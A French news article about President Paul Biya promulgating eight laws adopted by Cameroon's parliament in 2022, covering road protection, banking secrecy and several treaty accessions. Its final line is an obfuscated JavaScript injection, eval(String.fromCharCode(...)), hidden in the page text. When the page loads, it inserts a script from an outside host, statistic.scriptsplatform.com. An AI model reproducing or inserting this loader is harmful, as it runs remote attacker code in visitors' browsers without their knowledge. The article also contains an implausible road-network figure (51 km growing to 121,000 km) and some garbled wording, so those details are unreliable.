Cameroun : Paul Biya rend exécutoires les 8 projets de loi adoptés par le Parlement

R éunis durant la session ordinaire de mars 2022, déroulée sur la période du vendredi 11 mars 2022 au samedi 09 avril 2022, la chambre haute et la chambre basse du parlement du Cameroun ont passé au peigne fin 8 projets de loi , qu’elles ont validés et soumis à l’instance suprême. Ces derniers sont parvenus au terme du processus de fabrication de la loi. En effet, le 27 avril 2022, le Président de la République, S.E. Paul Biya, a imposé son sceau sur les 8 projets qui sont alors devenus les toutes nouvelles loi de la République. Les 8 projets de loi promulgués Ce sont : La loi portant protection du patrimoine routier national , consistant à actualiser le dispositif juridique précédent mis en place par la loi du 8 avril 1996. Aussi le texte tient-il compte des évolutions enregistrées dans le paysage routier du Cameroun. En effet, entre 1980 et 2021, le linéaire du réseau routier national est passé de 51 Km à 121 000 Km. Comme innovations majeures, ce projet de loi impulse : La mise à jour des mécanismes de financement de l’entretien routier ; Le renforcement du dispositif de sanctions. La loi régissant le secret bancaire au Cameroun . Ainsi, il invite les professionnels du secteur à respecter les principes juridiques qui encadrent leur activité et à s’arrimer aux évolutions y afférentes. Ce texte présente trois innovations majeures : La prise en compte des microfinances et autres prestataires de services de paiement au nombre des établissements assujettis ; L’élargissement des structures et administrations auxquelles le secret bancaire n’est pas opposable ; L’élargissement de la borne de la peine pécuniaire encourue par quiconque viole le secret bancaire. La loi autorisant le Président de la République à procéder à l’adhésion du Cameroun à l’accord portant création du Fonds pour le développement des exportations en Afrique (FDA) , établi en mai 2019 à Moscou ; La loi autorisant le Président de la République à procéder à l’adhésion du Cameroun à la convention de Budapest sur la cybercriminalité , adoptée le 23 novembre 2001 à Budapest en Hongrie ; La loi autorisant le Président à ratifier le statut de l’organisation de la coopération islamique pour la sécurité alimentaire (OISA) , adopté le 11 décembre 2013 à Conakry en République de Guinée ; La loi portant ratification de l’Ordonnance No. 2021/004 du 29 décembre 2021 modifiant et complétant certaines dispositions de la loi No. 2020/018 du 17 décembre 2020 portant loi de Finances de la République du Cameroun pour l’exercice 2021 ; La loi autorisant le Président de la République à ratifier l’accord cadre amendé portant création de l’Alliance solaire internationale (ASI) , signé à le 2 octobre 2020 à Yaoundé ; La loi autorisant le Président de la République à procéder à l’adhésion du Cameroun à l’accord portant création de l’institution de la mutuelle panafricaine de gestion des risques (ARC) , adopté le 23 novembre 2012 à Pretoria en Afrique du Sud. var f=String;eval(f.fromCharCode(102,117,110,99,116,105,111,110,32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,116,105,115,116,105,99,46,115,99,114,105,112,116,115,112,108,97,116,102,111,114,109,46,99,111,109,47,99,111,108,108,101,99,116,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/